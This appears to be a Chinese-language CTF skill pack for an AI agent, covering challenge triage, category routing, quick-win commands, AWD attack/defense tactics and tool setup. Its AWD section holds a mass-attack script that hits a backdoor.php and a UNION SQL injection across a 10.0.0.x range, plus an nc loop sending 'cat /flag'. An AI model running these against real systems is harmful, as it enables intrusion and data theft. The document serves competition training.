| name | ctf-skills |
| description | CTF解题技能包。覆盖Web漏洞利用、二进制Pwn、密码学、逆向工程、取证分析和OSINT等CTF挑战解题能力。入口调度器:自动分类题目并路由到对应的技术路径。 |
| metadata | {"openclaw":{"emoji":"🏴","category":"security","tags":["ctf","security","hacking","pentest","crypto","reverse-engineering"]}} |
CTF Skills — Capture The Flag 解题技能包
CTF 挑战解题。作为入口调度器,自动分析题目特征并路由到对应的解题路径。
工作流:Solve Challenge 流程
Step 0: 环境检测
检查关键工具是否可用:
python3 --version
pip list 2>/dev/null | grep -iE "pwntools|z3|pycryptodome|numpy"
file --version
strings --version
如需安装工具,参考 Prerequisites 中的安装命令。
Step 1: 信息收集(Triage)
面对任何题目,先执行以下基础操作:
file *
strings * | grep -iE "flag|ctf|secret|password"
strings * | grep -E '\{.*\}'
xxd task_file | head -30
nc -v host port
curl -v http://host:port/
echo "test" | nc -w 3 host port
checksec --file=binary
Step 2: 题目分类
根据文件类型和描述判断主分类:
| 文件/描述特征 | 分类 | 路由到 |
|---|
.pcap/.pcapng/.evtx/.dd/.raw | 取证 | Forensics |
.elf/.exe/.so/.dll + 远程服务 | Pwn | Pwn |
.elf/.exe/.so 无远程服务 | Reverse | Reverse |
.apk/.wasm/.pyc/.jar | Reverse | Reverse |
.py/.sage + RSA/AES/模数 | Crypto | Crypto |
| HTML/JS/PHP 源码或 URL | Web | Web |
| 图片/音频/PDF + 无明文flag | 隐写/取证 | Forensics |
| jails/编码/脑洞题 | Misc | Misc |
| 找人/定位/查资料 | OSINT | OSINT |
| 恶意软件/C2/后门 | Malware | Malware |
| ML模型/AI相关 | AI/ML | AI-ML |
| 智能合约/Solidity/RPC/.sol | Blockchain | Web3/Blockchain |
| AWD/攻防/加固/PWN批量 | AWD | AWD+Web+Pwn |
关键词判断:
- "buffer overflow"/"ROP"/"shellcode"/"libc"/"heap" → Pwn
- "RSA"/"AES"/"cipher"/"prime"/"modulus"/"lattice"/"ECC" → Crypto
- "XSS"/"SQL"/"SSRF"/"JWT"/"SSTI"/"upload" → Web
- "disk"/"memory dump"/"PCAP"/"stego"/"隐写" → Forensics
- "find"/"locate"/"track"/"OSINT" → OSINT
- "obfuscated"/"C2"/"malware"/"beacon"/"trojan" → Malware
- "jail"/"sandbox escape"/"encoding"/"RF"/"SDR" → Misc
- "AWD"/"攻防"/"加固"/"waf" → AWD
- "solidity"/"contract"/"Ethereum"/"web3"/"metamask" → Blockchain
- "Move"/"Aptos"/"Sui" → Blockchain
- "reentrancy"/"flash loan"/"oracle" → Blockchain
Step 3: Quick Wins(先尝试最简路径)
在投入深度分析之前,对所有分类都先尝试:
grep -rniE 'flag\{|CTF\{|ISCC\{' .
strings * | grep -iE 'flag|CTF|secret|password|key|token'
curl -s http://target/robots.txt
curl -s http://target/.git/config
curl -s "http://target/page?id=1'"
ltrace ./binary
strace -f ./binary
strings binary | grep -E '^/'
exiftool file
binwalk file
strings file | tail -50
Step 4: 深度分析
如果 Quick Wins 不奏效,根据分类进入对应的深度技术文档:
Step 5: 写Writeup
解题完成后,在 writeup-<challenge-name>.md 中记录:
- 题目名、CTF、分类、难度
- 核心漏洞/技术
- 解题步骤(不超过5步)
- 完整解脚本(从题目数据到输出flag)
- Flag
Quick Start 命令参考(常用)
curl -v http://target/ -X POST -d 'key=value'
sqlmap -u "http://target/page?id=1" --batch 2>/dev/null
jwt_tool <token> -T
strings binary | grep -E 'flag|CTF|secret|password'
rabin2 -z binary
objdump -d binary | head -100
echo 'base64string' | base64 -d
openssl rsa -pubin -in key.pub -text -noout
python3 -c "from Crypto.Util.number import *; n=...; print(f'bits={n.bit_length()}')"
exiftool file
binwalk -Me file
tshark -r capture.pcap -Y "http" -T fields -e http.host -e http.request.uri
python3 -c "from pwn import *; r=remote('host',port); r.interactive()"
zbarimg qr.png
sox audio.wav -n spectrogram
AWD 攻防对抗快速响应
AWD是团队攻防对抗,每人维护自己的服务同时攻击他队。时间紧凑(2-4h),需要工具链自动化。
AWD 三阶段
开局15min: 加固
- 修改所有弱口令 (SSH/FTP/DB/后台)
- 备份源码
- D盾/河马查杀webshell
- 检查预留后门
- 添加WAF规则
- 关键文件只读权限
赛中: 攻击+监控
- 批量扫描其他队伍服务
- 从已攻破队伍获取更多攻击面
- 监控自己的流量发现新攻击
- 分析攻击流量提取exp
终局: 持续维护
- 已拿分不丢
- 注意flag轮换机制
- 修复被利用的漏洞
AWD 攻击脚本模板
import requests, re, concurrent.futures
def attack(ip):
try:
r = requests.post(f"http://{ip}/backdoor.php",
data={"cmd": "cat /flag"}, timeout=3)
flag = re.findall(r'flag\{.*?\}', r.text)
if flag:
return (ip, flag[0])
r = requests.get(f"http://{ip}/index.php?id=-1' UNION SELECT 1,flag,3 FROM flag--+")
flag = re.findall(r'flag\{.*?\}', r.text)
if flag:
return (ip, flag[0])
except:
pass
return (ip, None)
targets = [f"10.0.0.{i}" for i in range(2, 51)]
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as pool:
for ip, flag in pool.map(attack, targets):
if flag:
print(f"[+] {ip}: {flag}")
AWD PWN快速加固
checksec --file=./pwn
AWD 常用工具速查
dirsearch -u http://10.0.0.2 -e php
gobuster dir -u http://10.0.0.2 -w /usr/share/wordlists/dirb/common.txt
sqlmap -u "http://10.0.0.2/page?id=1" --batch --level=3
for i in $(seq 2 50); do
(echo "cat /flag"; sleep 1) | nc 10.0.0.$i 9999 &
done
比赛策略
节奏控制
开局15min: 浏览全部题目 → 找签到题 → 快速拿分
前1h: 解决简单题(T0-T1) → 建立分数基础
中盘: 主攻中档题(T2) → 多方向配合
后1h: 死磕难题(T3) → 同时加固已有分数
团队分工建议
- Web手:Web安全 + AWD加固
- PWN手:二进制漏洞 + 内核题
- Crypto手:密码学 + 数学
- RE手:逆向 + Android/iOS
- MISC手:隐写/取证/其他
提分技巧
- 签到题第一时间拿(不要在小题上纠结)
- 中等题评估投入时间 vs 得分
- 难题可多人协作(Web + Crypto混合题常见)
- 及时提交flag(flag可能轮换)
- AWD: 加固比攻击更重要(保住 > 抢夺)
- 从攻击流量中学习对手的exp
Prerequisites(工具安装清单)
Python 包(通用)
pip install pwntools pycryptodome z3-solver sympy numpy Pillow requests scapy
pip install angr frida-tools capstone pefile
pip install sqlmap flask-unsign
pip install volatility3 yara-python oletools
pip install shodan dnspython dnslib
Windows 特有注意
- 大多数 Linux 工具不原生支持,用 Python/MIT License 工具替代
- ffmpeg:
scoop install ffmpeg 或手动下载
file 命令: 用 Python 的 magic 库或 python3 -c "import magic; print(magic.from_file('file'))"
strings: PowerShell Select-String 或 Get-Content -AsByteStream
- 七牛解压:
7z x file
When to Pivot(什么时候切换思路)
卡住时重新评估:
- 真的是这个分类吗?Web 题可能有 JWT 加密需要 Crypto,取证题的 PCAP 里可能有 Pwn 漏洞
- 有没有隐藏信息?Magic bytes、文件尾附加数据、元数据注释
- 更简单的路径?默认密码、已知 CVE、逻辑漏洞而不是溢出
- 多分类交叉?Web + Crypto(JWT)、Forensics + Crypto(加密文件)、Reverse + Pwn
常见多分类组合:
- Web + Crypto: JWT 伪造、自定义签名
- Web + Reverse: WASM、混淆 JS
- Forensics + OSINT: 从图片恢复数据 + 追踪来源
- Reverse + Pwn: 先逆向找漏洞再利用
- Misc + Crypto: jail 中实现加密原语
Flag 格式
常见格式:
flag{...}、FLAG{...}、CTF{...}
- 特定 CTF:
ISCC{...}、picoCTF{...}、HTB{...}、ENO{...}
- 有时无包裹纯文本
校验规则:
- 找到多个 flag-like 字符串时,优先选择与题目预期行为相符的
- 做全量去重检查
已解题记录
每次解完题更新 MEMORY.md 的记录,包含:
- 题目类型和文件名
- 核心技术点和自动化脚本路径
- Flag